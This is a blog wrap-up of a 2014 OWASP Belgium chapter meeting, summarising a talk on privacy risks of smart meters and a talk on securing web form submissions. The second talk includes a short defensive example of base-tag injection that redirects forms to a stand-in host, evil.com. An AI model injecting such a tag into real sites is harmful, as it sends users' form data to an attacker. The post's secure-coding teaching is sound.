February 2014 OWASP Belgium Chapter Meeting Wrap-Up

Tonight was organized the first OWASP Belgium Chapter of the year. Two speakers were invited, George Danezis and Jim Manico. Same place, same faces and classic introduction by Seba with news about the OWASP foundation and the local chapter. Did you know that the chapter had ten years old last year! Congratulations! Here is my quick wrap-up…

The first speaker was George with a presentation called “Engineering privacy-friendly computation”. In the invitation, the topic was relative to smart meters. George adapted the title but it was still related to those devices. He is working at the University College London and is a specialist in cryptography and privacy. His talk started with a simple question: “What is cryptography good for?”. To give examples, the classic couple of friends Alice & Bob was used. To exchange messages safely, they can use multiple protocols like SSL, IPSEC, OTR or Tor. Plenty of solutions exist with one goal: to establish a “secure channel”. But can Alice and Bob trust themselves? How to apply this to smart-meters? It’s a fact, by 2020, a smart electricity meter will be installed in each EU home. The problems between Alice & Bob can be reported to the house and the energy company: there is a lack of trust. With a classic meter, indexes are polled manually at regular interval (sometimes once a year, sometimes once every three months). But, thanks to the technology, polling may be implemented with a very fine granularity (once an hour, once every five minutes?). There come the privacy issues: the collected data can be used not only for billing but also to help to improve the network (where the electricity is most consumed and when). The next question asked by George is: “Are granular smart meter readings sensitive?“. Of course, they are! Depending on the numbers we can see:

• How many people live in the home
• Wen the home is empty
• Devices and appliances used
• Patterns of sleep
• Measure of wealth
• Mental & physical health

To resume, we could compare the polling of a smart meters to polling a network switch and generated RRD files! With enough granularity, interesting patterns could be discovered. Think about those valuable data for governments and insurance companies. They could be very happy to know if you cook fresh vegetables or if you cook using a microwave! That’s why data protection authorities recognise such data as personal. But George gave other examples where electricity consumption was used by law enforcement agencies:

• To detect cannabis farms
• To find the safe-house of a terrorist

Patterns can be used against appliances to learn how they behave and build a database of appliances. Televisions  use electricity in a different way is the screen is dark or clear. Guess what? It is possible to guess the movie from EMI (“Electro-Magnetic Interferences“) traces. More fun: computers have monitor, why not apply the same model to guess the website you’re browsing? (Reference: Ulrich Greveler).

After reviewing the privacy issues, the second part of talk was a review of the alternatives to share data with the energy companies? Instead of sending data to them, the proposed model is to send the billing details to the meter and the meter computes and sends the monthly bill. Good because sensitive data never leave the home but statistics not useful (low amount of samples) and meters aren’t very powerful. Can we do better? The second proposed model is to use a sensor to collect and send data to a user device (in a safe way), then the supplier will send you a query style “Could you compute this bill and send us the results”. It looks nice but this introduces major trust issues… But cryptography can help! How to convice that the result is correct? By using Zero Knowledge Proof. The remaining slides reviewed how to implement ZK Proof and how to deal with some issues. But why is this not yet deployed? What is stopping the development? Costs to implement protocols are huge, generic protocols both a blessing and a curve and … law enforcement not happy to loose very interesting data! (keep this in mind!). The conclusion to this talk was: Just giving the data to the supplier is the worse privacy option!

After a short break, Jim came on stage with a new presentation about secure coding! It was called  “Securing Form Submissions“. Today, the most used way to submit data to a server is to use this:

    <form>

A form can be implemented in four categories:

• Login
• Content submission & editing
• CC or other financial processing
• Content submission or financial pressing as part of a workflow (Think about a shopping card)

And there is no automatted tool to check for workflow abuses! Jim started from the following simple example:

    <form action=“payment.php”>

What are the issues?

• There is no method specific, the default one will be used (GET)
• Path are relative (base jumping)
• Lack of HTTPS

 Don’t foget that GET request are seen in HTTPS requests! Always use POST! Then, Jim explained what is <base> jumping. With the injection of a <base> tag, it is possible to redirect form submissions to a rogue server. Example:

    <base href=“http://evil.com>
    <form action=“update_profile.php”>

To avoid this problem, always use absolute path!  Then several tips to safely process forms were reviewed with examples:

• Auth & session management present? Consider frequent session ID rotation
• Input validation (Question: when escape vs rejecting?)
• Acccess control: RBAC suxx… Code need to change. Jim demonstrated how to implement a simple solution.
• Output encoding: use encoding libraries
• Query parameterization
• Transaction token verification (also know as CSRF)

Some nice examples of well-known CRSF were reviewed (Netflix, Twitter & home routers). Another good tip for network intrusion detection: Use fake path in your robots.txt files. If such path are found in your access logs, it means that somebody is doing some reconnaissance against your website! The last part of the presentation focused on workflows. A classic abuse within a shopping card is to try to skip the payment step. Attackers try to break the application logic. To protect your workflow:

• Reset workflow at 1st step
• Track the workflow in the session
• Verify legal/proper steps in sequence at each step
• Reset the workflow when one is complete or an illegal step is taken

Jim is a regular speaker at OWASP events (and a board member). He made it again with nice examples and tips to improve your code! As you can see, two different topics but full of interesting stuff. You’re not yet atteding OWASP meeting, register here to get notified of upcoming events.